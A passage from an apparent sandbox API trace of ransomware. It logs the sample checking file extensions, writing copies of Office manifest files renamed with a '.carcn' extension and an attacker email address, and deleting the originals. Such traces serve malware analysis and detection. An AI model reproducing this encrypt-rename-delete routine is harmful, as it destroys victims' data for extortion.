4 [0182.133] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.133] lstrlenW (lpString=".7z") returned 3 [0182.133] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0182.133] lstrlenW (lpString=".dbf") returned 4 [0182.133] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0182.133] lstrlenW (lpString=".1cd") returned 4 [0182.133] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0182.133] lstrlenW (lpString=".jpg") returned 4 [0182.133] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.133] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0182.133] lstrlenW (lpString="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 53 [0182.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0182.133] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1261) returned 1 [0182.133] CloseHandle (hObject=0x360) returned 1 [0182.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0182.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0182.134] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.134] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0182.134] GetLastError () returned 0x0 [0182.134] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0182.177] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0182.178] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.179] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0182.179] SetEndOfFile (hFile=0x374) returned 1 [0182.179] CloseHandle (hObject=0x374) returned 1 [0182.179] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.179] SetEndOfFile (hFile=0x360) returned 1 [0182.180] CloseHandle (hObject=0x360) returned 1 [0182.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0182.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1 [0182.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0182.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0182.181] lstrlenW (lpString=".doc") returned 4 [0182.181] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.181] lstrlenW (lpString=".docx") returned 5 [0182.181] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.181] lstrlenW (lpString=".pdf") returned 4 [0182.181] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.181] lstrlenW (lpString=".xls") returned 4 [0182.181] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.181] lstrlenW (lpString=".xlsx") returned 5 [0182.181] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.181] lstrlenW (lpString=".ppt") returned 4 [0182.181] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0182.181] lstrlenW (lpString=".zip") returned 4 [0182.181] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.181] lstrlenW (lpString=".rar") returned 4 [0182.181] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.181] lstrlenW (lpString=".bz2") returned 4 [0182.181] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.181] lstrlenW (lpString=".7z") returned 3 [0182.181] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0182.181] lstrlenW (lpString=".dbf") returned 4 [0182.181] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0182.181] lstrlenW (lpString=".1cd") returned 4 [0182.182] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0182.182] lstrlenW (lpString=".jpg") returned 4 [0182.182] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0182.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0182.182] lstrlenW (lpString=".doc") returned 4 [0182.182] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.182] lstrlenW (lpString=".docx") returned 5 [0182.182] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.182] lstrlenW (lpString=".pdf") returned 4 [0182.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.182] lstrlenW (lpString=".xls") returned 4 [0182.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.182] lstrlenW (lpString=".xlsx") returned 5 [0182.182] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.182] lstrlenW (lpString=".ppt") returned 4 [0182.182] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0182.182] lstrlenW (lpString=".zip") returned 4 [0182.182] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.182] lstrlenW (lpString=".rar") returned 4 [0182.182] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.182] lstrlenW (lpString=".bz2") returned 4 [0182.182] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.182] lstrlenW (lpString=".7z") returned 3 [0182.182] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0182.182] lstrlenW (lpString=".dbf") returned 4 [0182.182] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0182.182] lstrlenW (lpString=".1cd") returned 4 [0182.182] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0182.182] lstrlenW (lpString=".jpg") returned 4 [0182.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.183] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0182.183] lstrlenW (lpString="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 53 [0182.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0182.183] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1261) returned 1 [0182.183] CloseHandle (hObject=0x360) returned 1 [0182.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220 [0182.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0182.183] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.183] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0182.184] GetLastError () returned 0x0 [0182.184] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0182.351] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0182.351] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.351] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0182.352] SetEndOfFile (hFile=0x374) returned 1 [0182.352] CloseHandle (hObject=0x374) returned 1 [0182.352] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.352] SetEndOfFile (hFile=0x360) returned 1 [0182.356] CloseHandle (hObject=0x360) returned 1 [0182.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0182.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1 [0182.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0182.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0182.357] lstrlenW (lpString=".doc") returned 4 [0182.357] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.357] lstrlenW (lpString=".docx") returned 5 [0182.357] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.357] lstrlenW (lpString=".pdf") returned 4 [0182.357] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.357] lstrlenW (lpString=".xls") returned 4 [0182.357] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.357] lstrlenW (lpString=".xlsx") returned 5 [0182.357] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.357] lstrlenW (lpString=".ppt") returned 4 [0182.357] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0182.357] lstrlenW (lpString=".zip") returned 4 [0182.357] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.357] lstrlenW (lpString=".rar") returned 4 [0182.357] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.357] lstrlenW (lpString=".bz2") returned 4 [0182.357] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.357] lstrlenW (lpString=".7z") returned 3 [0182.357] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0182.357] lstrlenW (lpString=".dbf") returned 4 [0182.357] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0182.357] lstrlenW (lpString=".1cd") returned 4 [0182.357] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0182.357] lstrlenW (lpString=".jpg") returned 4 [0182.357] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0182.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0182.358] lstrlenW (lpString=".doc") returned 4 [0182.358] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.358] lstrlenW (lpString=".docx") returned 5 [0182.358] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.358] lstrlenW (lpString=".pdf") returned 4 [0182.358] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.358] lstrlenW (lpString=".xls") returned 4 [0182.358] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.358] lstrlenW (lpString=".xlsx") returned 5 [0182.358] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.358] lstrlenW (lpString=".ppt") returned 4 [0182.358] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0182.358] lstrlenW (lpString=".zip") returned 4 [0182.358] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.358] lstrlenW (lpString=".rar") returned 4 [0182.358] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.358] lstrlenW (lpString=".bz2") returned 4 [0182.358] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.358] lstrlenW (lpString=".7z") returned 3 [0182.358] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0182.358] lstrlenW (lpString=".dbf") returned 4 [0182.358] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0182.358] lstrlenW (lpString=".1cd") returned 4 [0182.358] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0182.358] lstrlenW (lpString=".jpg") returned 4 [0182.358] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.359] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0182.359] lstrlenW (lpString="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 53 [0182.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0182.359] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=3375) returned 1 [0182.359] CloseHandle (hObject=0x360) returned 1 [0182.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220 [0182.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0182.359] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.360] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0182.360] GetLastError () returned 0x0 [0182.360] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0xd2f, lpOverlapped=0x0) returned 1 [0182.390] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xd30, lpOverlapped=0x0) returned 1 [0182.390] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.390] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0182.391] SetEndOfFile (hFile=0x374) returned 1 [0182.391] CloseHandle (hObject=0x374) returned 1 [0182.391] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.391] SetEndOfFile (hFile=0x360) returned 1 [0182.392] CloseHandle (hObject=0x360) returned 1 [0182.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0182.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1 [0182.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0182.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0182.393] lstrlenW (lpString=".doc") returned 4 [0182.393] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.393] lstrlenW (lpString=".docx") returned 5 [0182.393] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.393] lstrlenW (lpString=".pdf") returned 4 [0182.393] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.393] lstrlenW (lpString=".xls") returned 4 [0182.393] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.393] lstrlenW (lpString=".xlsx") returned 5 [0182.393] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.393] lstrlenW (lpString=".ppt") returned 4 [0182.393] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0182.393] lstrlenW (lpString=".zip") returned 4 [0182.393] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.393] lstrlenW (lpString=".rar") returned 4 [0182.393] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.393] lstrlenW (lpString=".bz2") returned 4 [0182.393] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.393] lstrlenW (lpString=".7z") returned 3 [0182.393] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0182.393] lstrlenW (lpString=".dbf") returned 4 [0182.393] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0182.393] lstrlenW (lpString=".1cd") returned 4 [0182.394] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0182.394] lstrlenW (lpString=".jpg") returned 4 [0182.394] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0182.394] lstrlenW (lpString="C:\\Program Files\\Microsoft 